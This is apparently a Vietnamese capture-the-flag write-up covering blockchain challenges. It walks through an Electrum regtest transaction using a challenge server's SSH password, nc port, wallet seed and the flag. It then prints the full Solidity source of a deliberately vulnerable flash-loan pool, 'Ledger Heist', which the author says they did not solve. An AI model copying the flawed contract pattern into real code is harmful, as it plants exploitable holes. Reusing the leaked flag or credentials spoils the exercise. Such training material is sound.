ssh satoshi@94.237.50.175 -p 41769
L4mb0Pr0j3ct
--------------------------------------------------
PORT 2: 31819
& "E:\Electrum\electrum-4.5.3.exe" --regtest --oneserver -s 94.237.50.175:31819:t
--------------------------------------------------
PORT 3: 37501
nc 94.237.50.175 37501
  • Các bước:
    1

    > Seed: fortune bubble wealth all sure sun awful agree energy possible margin green
    2
  • Nhập vài thông tin linh tinh, chọn Standard wallet rồi I already have a seed
    3
  • Nhảy ra như thế này là oke
    4
  • Chúng ta sẽ quay sang nc để lấy thông tin người cần gửi
    5
  • Tới đây lấy thông tài tài khoản đích:
    > Address: bcrt1qs7qqy5573cqqd6d3uj7htn2x02hqrk3yde3ygr
  • Quay lại Electrum và giao dịch
    6

    7

    8
  • Rồi back lại server lấy flag là xong
    9

Flag

HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}

Note

  • Bài này mình được Thụy AT20 support, sau khi làm thì thấy chall chả khác :dog: gì Forensics very easy cả :penguin:

4. Ledger Heist

Description

  • Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power.
  • Errors.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; error NotSupported(address token); error CallbackFailed(); error LoanNotRepaid(); error InsufficientBalance();
  • Events.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface Events { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event FlashLoanSuccessful( address indexed target, address indexed initiator, address indexed token, uint256 amount, uint256 fee ); event FeesUpdated(address indexed token, address indexed user, uint256 fees); }
  • FixedPointMath.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; library FixedMathLib { function fixedMulFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) { return self * b / denominator; } function fixedMulCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) { uint256 _mul = self * b; if (_mul % denominator == 0) { result = _mul / denominator; } else { result = _mul / denominator + 1; } } function fixedDivFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) { return self * denominator / b; } function fixedDivCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) { uint256 _mul = self * denominator; if (_mul % b == 0) { result = _mul / b; } else { result = _mul / b + 1; } } }
  • Interfaces.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IERC20Minimal { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IERC3156FlashBorrower { function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32); }
  • LoanPool.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {FixedMathLib} from "./FixedPointMath.sol"; import "./Errors.sol"; import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol"; import {Events} from "./Events.sol"; struct UserRecord { uint256 feePerShare; uint256 fees; uint256 balance; } contract LoanPool is Events { using FixedMathLib for uint256; uint256 constant BONE = 10 ** 18; address public underlying; uint256 public totalSupply; uint256 public feePerShare; mapping(address => UserRecord) public userRecords; constructor(address _underlying) { underlying = _underlying; } function deposit(uint256 amount) external { address _msgsender = msg.sender; _updateFees(_msgsender); IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount); _mint(_msgsender, amount); } function withdraw(uint256 amount) external { address _msgsender = msg.sender; if (userRecords[_msgsender].balance < amount) { revert InsufficientBalance(); } _updateFees(_msgsender); _burn(_msgsender, amount); // Send also any fees accumulated to user uint256 fees = userRecords[_msgsender].fees; if (fees > 0) { userRecords[_msgsender].fees = 0; amount += fees; emit FeesUpdated(underlying, _msgsender, fees); } IERC20Minimal(underlying).transfer(_msgsender, amount); } function balanceOf(address account) public view returns (uint256) { return userRecords[account].balance; } // Flash loan EIP function maxFlashLoan(address token) external view returns (uint256) { if (token != underlying) { revert NotSupported(token); } return IERC20Minimal(token).balanceOf(address(this)); } function flashFee(address token, uint256 amount) external view returns (uint256) { if (token != underlying) { revert NotSupported(token); } return _computeFee(amount); } function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external returns (bool) { if (token != underlying) { revert NotSupported(token); } IERC20Minimal _token = IERC20Minimal(underlying); uint256 _balanceBefore = _token.balanceOf(address(this)); if (amount > _balanceBefore) { revert InsufficientBalance(); } uint256 _fee = _computeFee(amount); _token.transfer(address(receiver), amount); if ( receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data) != keccak256("ERC3156FlashBorrower.onFlashLoan") ) { revert CallbackFailed(); } uint256 _balanceAfter = _token.balanceOf(address(this)); if (_balanceAfter < _balanceBefore + _fee) { revert LoanNotRepaid(); } // Accumulate fees and update feePerShare uint256 interest = _balanceAfter - _balanceBefore; feePerShare += interest.fixedDivFloor(totalSupply, BONE); emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee); return true; } // Private methods function _mint(address to, uint256 amount) private { totalSupply += amount; userRecords[to].balance += amount; emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) private { totalSupply -= amount; userRecords[from].balance -= amount; emit Transfer(from, address(0), amount); } function _updateFees(address _user) private { UserRecord storage record = userRecords[_user]; uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE); record.fees += fees; record.feePerShare = feePerShare; emit FeesUpdated(underlying, _user, fees); } function _computeFee(uint256 amount) private pure returns (uint256) { // 0.05% fee return amount.fixedMulCeil(5 * BONE / 10_000, BONE); } }
  • Setup.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {LoanPool} from "./LoanPool.sol"; import {Token} from "./Token.sol"; contract Setup { LoanPool public immutable TARGET; Token public immutable TOKEN; constructor(address _user) { TOKEN = new Token(_user); TARGET = new LoanPool(address(TOKEN)); TOKEN.approve(address(TARGET), type(uint256).max); TARGET.deposit(10 ether); } function isSolved() public view returns (bool) { return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether); } }
  • Token.sol:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Events} from "./Events.sol"; contract Token is Events { string public name = "Token"; string public symbol = "Tok"; uint8 public immutable decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(address _user) payable { _mint(msg.sender, 10 ether); _mint(_user, 1 ether); } function approve(address spender, uint256 amount) public returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool) { allowance[from][msg.sender] -= amount; balanceOf[from] -= amount; balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function _mint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) private { balanceOf[from] -= amount; totalSupply -= amount; emit Transfer(from, address(0), amount); } }

Solution

  • Viết thế này thôi chứ mình biết giải :dog: đâu mà :penguin:. Hẹn gặp lại vào một ngày mình lỏ hơn :moneybag:

III. Ending

  • Kết thúc giải mình vừa vui vừa tiếc vì không thể clear Crypto sớm mặc dù nó khá dễ, mong sao các giải tiếp theo mình đủ lỏ để solve trong thời gian ngắn hơn như anh Hưng Chiến expect :heart: